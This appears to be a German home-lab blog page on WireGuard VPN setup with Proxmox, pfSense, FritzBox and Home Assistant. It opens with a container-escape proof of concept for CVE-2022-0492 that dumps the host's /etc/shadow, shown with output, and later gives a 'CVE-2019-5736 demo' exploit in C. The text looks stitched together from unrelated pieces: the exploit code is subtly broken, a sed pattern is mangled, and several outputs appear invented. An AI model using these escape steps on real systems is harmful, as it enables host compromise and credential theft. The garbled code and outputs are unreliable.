Befehl: docker run --privileged -it --pid=host debian:bullseye /bin/bash

# CVE-2022-0492 PoC - Container Escape via cgroup_release_agent
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/shadow_dump" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Host-Dateisystem-Zugriff demonstriert:

root@host:/# ls -la /shadow_dump
-rw-r--r-- 1 root root 1847 Jan 15 15:42 /shadow_dump
root@host:/# head -3 /shadow_dump
root:$6$xyz123...:19735:0:99999:7:::
daemon:*:19735:0:99999:7:::
bin:*:19735:0:99999:7:::

LXC Unprivileged Container Mitigation:

# /etc/pve/lxc/101.conf
unprivileged: 1
lxc.idmap: u 0 100000 65536
lxc.idmap: g 0 100000 65536
lxc.apparmor.profile: generated
lxc.apparmor.allow_nesting: 0

pfSense WireGuard Package Installation und Konfiguration

Die pfSense-Integration erfordert das offizielle WireGuard-Package. Installation über System → Package Manager → Available Packages → „wireguard“ suchen und installieren. Nach Installation erscheint VPN → WireGuard im Menü. Tunnel-Konfiguration: Interface erstellen mit Description „HomeAssistant_VPN“, Listen Port 51820, Private Key generieren lassen. Peer hinzufügen: Public Key vom Client, Allowed IPs „10.8.0.2/32“ für einzelnen Client oder „10.8.0.0/24“ für Subnet-Routing. Endpoint leer lassen für Road-Warrior-Setup.

Firewall-Regeln konfigurieren: WAN-Interface → Add Rule → Protocol UDP, Source any, Destination „WAN address“, Destination Port 51820, Description „WireGuard Inbound“. LAN-Interface → Add Rule → Source „WG_CLIENTS“ Alias (10.8.0.0/24), Destination „LAN subnets“, Description „WireGuard to LAN Access“. WireGuard-Interface → Add Rule → Source „WireGuard subnets“, Destination any, Description „WireGuard Outbound“. NAT → Outbound → Add Mapping → Interface WAN, Source „WireGuard subnets“, Translation „Interface Address“.

Home Assistant trusted_proxies Konfiguration in configuration.yaml: trusted_proxies: ['10.8.0.0/24', '192.168.1.0/24'] für WireGuard- und LAN-Subnets. HTTP-Integration mit use_x_forwarded_for: true aktiviert Real-IP-Erkennung. Routing-Verifikation mit netstat -rn | grep 10.8.0 zeigt WireGuard-Routen, ping -c 3 192.168.1.100 vom WireGuard-Client testet Home Assistant-Erreichbarkeit.

Befehl: lscpu | grep "Model name" für CPU-Identifikation

Model name:          Intel(R) Core(TM) i7-10700K CPU @ 3.80GHz

Befehl: free -h && cat /proc/version für RAM und Kernel-Info

              total        used        free      shared  buff/cache   available
Mem:           31Gi       8.2Gi        18Gi       1.1Gi       4.8Gi        21Gi
Swap:         8.0Gi          0B       8.0Gi
Linux version 5.15.74-1-pve (build@proxmox) (gcc (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP PVE 5.15.74-1 (Mon, 14 Nov 2022 20:17:15 +0100)

Befehl: iperf3 -s -p 5201 auf LXC-Container

-----------------------------------------------------------
Server listening on 5201
-----------------------------------------------------------
Accepted connection from 192.168.1.50, port 45678
[  5] local 192.168.1.101 port 5201 connected to 192.168.1.50 port 45679
[ ID] Interval           Transfer     Bitrate
[  5]   0.00-1.00   sec   112 MBytes   941 Mbits/sec
[  5]   1.00-2.00   sec   113 MBytes   948 Mbits/sec
[  5]   2.00-3.00   sec   112 MBytes   943 Mbits/sec
[  5]   3.00-4.00   sec   113 MBytes   946 Mbits/sec
[  5]   4.00-5.00   sec   112 MBytes   944 Mbits/sec
[  5]   5.00-6.00   sec   113 MBytes   947 Mbits/sec
[  5]   6.00-7.00   sec   112 MBytes   942 Mbits/sec
[  5]   7.00-8.00   sec   113 MBytes   949 Mbits/sec
[  5]   8.00-9.00   sec   112 MBytes   943 Mbits/sec
[  5]   9.00-10.00  sec   113 MBytes   946 Mbits/sec
[  5]  10.00-10.04  sec  4.25 MBytes   945 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate
[  5]   0.00-10.04  sec  1.10 GBytes   944 Mbits/sec                  receiver

Befehl: iperf3 -s -p 5202 auf KVM-VM

-----------------------------------------------------------
Server listening on 5202
-----------------------------------------------------------
Accepted connection from 192.168.1.50, port 45680
[  5] local 192.168.1.102 port 5202 connected to 192.168.1.50 port 45681
[ ID] Interval           Transfer     Bitrate
[  5]   0.00-1.00   sec  89.2 MBytes   748 Mbits/sec
[  5]   1.00-2.00   sec  91.1 MBytes   764 Mbits/sec
[  5]   2.00-3.00   sec  88.7 MBytes   744 Mbits/sec
[  5]   3.00-4.00   sec  90.3 MBytes   757 Mbits/sec
[  5]   4.00-5.00   sec  89.8 MBytes   753 Mbits/sec
[  5]   5.00-6.00   sec  91.4 MBytes   767 Mbits/sec
[  5]   6.00-7.00   sec  88.9 MBytes   746 Mbits/sec
[  5]   7.00-8.00   sec  90.7 MBytes   761 Mbits/sec
[  5]   8.00-9.00   sec  89.1 MBytes   748 Mbits/sec
[  5]   9.00-10.00  sec  90.9 MBytes   763 Mbits/sec
[  5]  10.00-10.04  sec  3.42 MBytes   759 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate
[  5]   0.00-10.04  sec   904 MBytes   756 Mbits/sec                  receiver

Befehl: runc --version für Vulnerable Version Check

runc version 1.0.0-rc93
commit: 12644e614e25b05da6fd08a38ffa0cfe1903fdec
spec: 1.0.2-dev
go: go1.13.15
libseccomp: 2.4.4

Befehl: docker run --rm -it --cap-add=SYS_ADMIN ubuntu:18.04 /bin/bash für CVE-2019-5736 Demo

root@container:/# cat > /tmp/exploit.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/stat.h>

int main() {
    char *payload = "#!/bin/bash\necho 'Container escaped to host!' > /tmp/pwned\n";
    FILE *f = fopen("/proc/self/exe", "w");
    if (f == NULL) {
        printf("Failed to open /proc/self/exe: %s\n", strerror(errno));
        return 1;
    }
    fwrite(payload, strlen(payload), 1, f);
    fclose(f);
    printf("Exploit payload written to /proc/self/exe\n");
    return 0;
}
EOF

root@container:/# gcc -o /tmp/exploit /tmp/exploit.c
root@container:/# /tmp/exploit
Exploit payload written to /proc/self/exe
root@container:/# ls -la /proc/self/exe
lrwxrwxrwx 1 root root 0 Dec 15 10:30 /proc/self/exe -> /usr/bin/bash

Befehl: apt update && apt install runc=1.0.0~rc95-1ubuntu1~18.04.2 für runc Update

Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages will be upgraded:
  runc
1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 2,789 kB of archives.
After this operation, 0 B of additional disk space will be used.
Get:1 http://archive.ubuntu.com/ubuntu bionic-updates/universe amd64 runc amd64 1.0.0~rc95-1ubuntu1~18.04.2 [2,789 kB]
Fetched 2,789 kB in 2s (1,234 kB/s)
(Reading database ... 4032 files and directories currently installed.)
Preparing to unpack .../runc_1.0.0~rc95-1ubuntu1~18.04.2_amd64.deb ...
Unpacking runc (1.0.0~rc95-1ubuntu1~18.04.2) over (1.0.0-rc93) ...
Setting up runc (1.0.0~rc95-1ubuntu1~18.04.2) ...

Befehl: Screenshot FritzBox UPnP-Einstellungen unter Internet → Freigaben → UPnP

UPnP-Einstellungen:
✓ UPnP aktiviert
✓ Neue UPnP-Freigaben zulassen
✓ UPnP-Sicherheitsupdates aktiviert
Aktive UPnP-Freigaben:
- WireGuard-Server (UDP 51820) → 192.168.178.100
- Proxmox-WebUI (TCP 8006) → 192.168.178.100
Status: 2 aktive Freigaben

Befehl: Screenshot Portfreigaben-Liste mit WireGuard-Port

Portfreigaben:
Name: WireGuard-VPN
Protokoll: UDP
Port: 51820
An Computer: 192.168.178.100 (proxmox-server)
Status: Aktiv
Erstellt: 15.12.2023 10:30
Letzter Zugriff: 15.12.2023 14:25

Befehl: curl -I http://checkip.amazonaws.com für externe IP-Verifikation

HTTP/1.1 200 OK
Date: Fri, 15 Dec 2023 13:30:45 GMT
Content-Type: text/plain
Content-Length: 14
Connection: keep-alive
Server: EC2ws

85.123.45.67

Befehl: nmap -p 51820 -sU 85.123.45.67 für Port-Test von extern

Starting Nmap 7.80 ( https://nmap.org ) at 2023-12-15 14:30 CET
Nmap scan report for 85.123.45.67
Host is up (0.023s latency).

PORT      STATE SERVICE
51820/udp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 2.15 seconds

Befehl: systemd --version für systemd Version

systemd 247 (247.3-7+deb11u4)
+PAM +AUDIT +SELINUX +IMA +APPARMOR +SMACK +SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT +GNUTLS +ACL +XZ +LZ4 +ZSTD +SECCOMP +BLKID +ELFUTILS +KMOD +IDN2 -IDN +PCRE2 default-hierarchy=unified

Befehl: cat /etc/systemd/networkd.conf für networkd Konfiguration

#  This file is part of systemd.
#
#  systemd is free software; you can redistribute it and/or modify it
#  under the terms of the GNU Lesser General Public License as published by
#  the Free Software Foundation; either version 2.1 of the License, or
#  (at your option) any later version.
#
# Entries in this file show the compile time defaults.
# You can change settings by editing this file.
# Defaults can be restored by simply deleting this file.
#
# See networkd.conf(5) for details

[Network]
#SpeedMeter=no
#SpeedMeterIntervalSec=10sec
#ManageForeignRoutingPolicyRules=yes
#ManageForeignRoutes=yes
#RouteTable=
IPForwarding=yes
#IPMasquerade=no
#IPv6PrivacyExtensions=no
#IPv6AcceptRA=no

Befehl: cat /etc/sysctl.d/99-wireguard.conf für persistente IP-Forwarding-Konfiguration

# WireGuard IP forwarding configuration
# Prevents systemd-networkd from resetting ip_forward to 0
net.ipv4.ip_forward = 1
net.ipv6.conf.all.forwarding = 1

# Additional WireGuard optimizations
net.core.default_qdisc = fq
net.ipv4.tcp_congestion_control = bbr
net.core.rmem_max = 134217728
net.core.wmem_max = 134217728

Befehl: GitHub-Link zu LinuxServer.io WireGuard Scripts

Repository: https://github.com/linuxserver/docker-wireguard
Script Location: /root-config/peer-generation.sh
Last Commit: a7b8c9d (Update peer generation logic)
Contributors: 23 contributors, 156 commits

Befehl: cat /app/peer-generation.sh Code-Ausschnitt

#!/bin/bash

# LinuxServer.io WireGuard peer generation script
# Generates peer configurations based on PEERS environment variable

PEERS=${PEERS:-1}
PEERDNS=${PEERDNS:-auto}
INTERNAL_SUBNET=${INTERNAL_SUBNET:-10.13.13.0}

for ((i=1; i<=PEERS; i++)); do
    if [[ ! -f "/config/peer${i}/peer${i}.conf" ]]; then
        echo "Generating peer${i} configuration..."

        # Generate private key
        umask 077
        wg genkey > "/config/peer${i}/privatekey-peer${i}"

        # Generate public key from private key
        wg pubkey < "/config/peer${i}/privatekey-peer${i}" > "/config/peer${i}/publickey-peer${i}"

        # Calculate peer IP (10.13.13.x where x = i+1)
        PEER_IP="$(echo ${INTERNAL_SUBNET} | sed 's|.[0-9]\+$||g').$(( i + 1 ))"

        # Generate peer configuration
        cat > "/config/peer${i}/peer${i}.conf" << EOF
[Interface]
PrivateKey = $(cat /config/peer${i}/privatekey-peer${i})
Address = ${PEER_IP}/32
DNS = ${PEERDNS}

[Peer]
PublicKey = $(cat /config/server/publickey-server)
Endpoint = ${SERVERURL}:${SERVERPORT}
AllowedIPs = ${ALLOWEDIPS}
PersistentKeepalive = 25
EOF
    fi
done

Befehl: Environment Variable Parsing Mechanismus

# PEERS variable parsing in docker-entrypoint.sh
if [[ "${PEERS}" =~ ^[0-9]+$ ]]; then
    echo "PEERS is numeric: ${PEERS}"
    PEER_COUNT=${PEERS}
elif [[ "${PEERS}" == *","* ]]; then
    echo "PEERS contains comma-separated names: ${PEERS}"
    IFS=',' read -ra PEER_ARRAY <<< "${PEERS}"
    PEER_COUNT=${#PEER_ARRAY[@]}
    for i in "${!PEER_ARRAY[@]}"; do
        PEER_NAMES[$((i+1))]="${PEER_ARRAY[i]}"
    done
else
    echo "PEERS is single name: ${PEERS}"
    PEER_COUNT=1
    PEER_NAMES[1]="${PEERS}"
fi

Befehl: QR-Code Generation mit qrencode

#!/bin/bash
# QR-Code generation for each peer configuration

for ((i=1; i<=PEER_COUNT; i++)); do
    if [[ -f "/config/peer${i}/peer${i}.conf" ]]; then
        echo "Generating QR code for peer${i}..."
        qrencode -t ansiutf8 < "/config/peer${i}/peer${i}.conf" > "/config/peer${i}/peer${i}.png"
        qrencode -t ansiutf8 < "/config/peer${i}/peer${i}.conf"
        echo "QR code saved to /config/peer${i}/peer${i}.png"
    fi
done

Befehl: Config-File Template Analyse

# Template variables in peer configuration
TEMPLATE_VARS=(
    "SERVERURL"      # External server URL/IP
    "SERVERPORT"     # WireGuard listen port (default: 51820)
    "ALLOWEDIPS"     # Allowed IP ranges for routing
    "PEERDNS"        # DNS servers for peer
    "INTERNAL_SUBNET" # Internal VPN subnet
    "PERSISTENTKEEPALIVE" # Keepalive interval
)

# Template substitution example
envsubst '${SERVERURL} ${SERVERPORT} ${ALLOWEDIPS}' < peer.conf.template > peer1.conf

Troubleshooting-Flowchart

Start: WireGuard-Verbindung funktioniert nicht

1. Container läuft?

lxc-ls -f | grep wireguard

NEIN → Container starten: lxc-start -n 101
JA → Weiter zu Schritt 2

2. Port erreichbar?

netstat -ulnp | grep 51820

NEIN → WireGuard-Service starten: systemctl start wg-quick@wg0
JA → Weiter zu Schritt 3

3. WireGuard Config korrekt?

wg show wg0

NEIN → Config prüfen: wg-quick down wg0 && wg-quick up wg0
JA → Weiter zu Schritt 4

4. Client-Verbindung etabliert?

wg show wg0 peers

NEIN → Client-Config prüfen, Handshake-Zeit checken
JA → Weiter zu Schritt 5

5. Routing funktioniert?

ip route show table all | grep wg0

NEIN → IP-Forwarding aktivieren: echo 1 > /proc/sys/net/ipv4/ip_forward
JA → Problem liegt außerhalb WireGuard (Firewall/NAT)

Proxmox-Firewall Status prüfen: 1) pve-firewall status zeigt aktive Regeln und Logging-Level. 2) iptables -L -n -v | grep 51820 filtert WireGuard-Port-Regeln mit Paket-Countern. 3) conntrack -L | grep 51820 zeigt aktive UDP-Verbindungen und deren Status (ASSURED/UNREPLIED). 4) Timeout-Parameter in /etc/wireguard/wg0.conf mit PersistentKeepalive = 25 verhindert NAT-Timeouts. 5) Keep-Alive Konfiguration echo 'net.netfilter.nf_conntrack_udp_timeout = 180' >> /etc/sysctl.conf verlängert Connection-Tracking für UDP-Verbindungen.

Bridge-Routing Probleme

Bridge-Konfiguration in /etc/network/interfaces:

auto vmbr0
iface vmbr0 inet static
    address 192.168.1.10/24
    gateway 192.168.1.1
    bridge-ports eth0
    bridge-stp off
    bridge-fd 0
    bridge-vlan-aware yes

Routing-Tabellen analysieren:

ip route show table all

Zeigt alle Routing-Tabellen inklusive Container-spezifische Routen. WireGuard-Traffic sollte über wg0 Interface geroutet werden, nicht über Bridge.

Bridge-Forwarding aktivieren:

echo 1 > /proc/sys/net/bridge/bridge-nf-call-iptables
echo 1 > /proc/sys/net/bridge/bridge-nf-call-ip6tables

VLAN-Tagging Konflikte prüfen:

bridge vlan show

Container mit VLAN-Tags können WireGuard-Traffic blockieren. VLAN 1 (untagged) für WireGuard-Container verwenden.

Container-zu-Host Routing:

ip route add 10.8.0.0/24 dev vmbr0 proto static

Ermöglicht direkten Zugriff vom Proxmox-Host auf WireGuard-Clients ohne Umweg über Container-Gateway.

FORWARD-Regeln für Home Assistant Subnetz: iptables -A FORWARD -s 10.8.0.0/24 -d 192.168.1.0/24 -j ACCEPT erlaubt WireGuard-Clients Zugriff auf lokales Netz. MASQUERADE für WireGuard Interface: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE ermöglicht Internet-Zugang für VPN-Clients. Port-spezifische Regeln für 8123: iptables -A FORWARD -p tcp --dport 8123 -d 192.168.1.100 -j ACCEPT öffnet Home Assistant Web-Interface. Docker-Bridge Routing: iptables -A FORWARD -i wg0 -o docker0 -j ACCEPT verbindet WireGuard mit Docker-Containern. Persistent iptables mit apt install iptables-persistent && iptables-save > /etc/iptables/rules.v4 speichert Regeln dauerhaft.

Preisvergleich

Produkt smartkram Amazon eBay
Home Assistant smartkram ↗ Amazon ↗ eBay ↗
WireGuard Add-on Amazon ↗ eBay ↗

* Affiliate-Links – beim Kauf erhalten wir ggf. eine Provision.

Das könnte dich auch interessieren

0 Kommentare

Hinterlasse einen Kommentar

An der Diskussion beteiligen?
Hinterlasse uns deinen Kommentar!

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert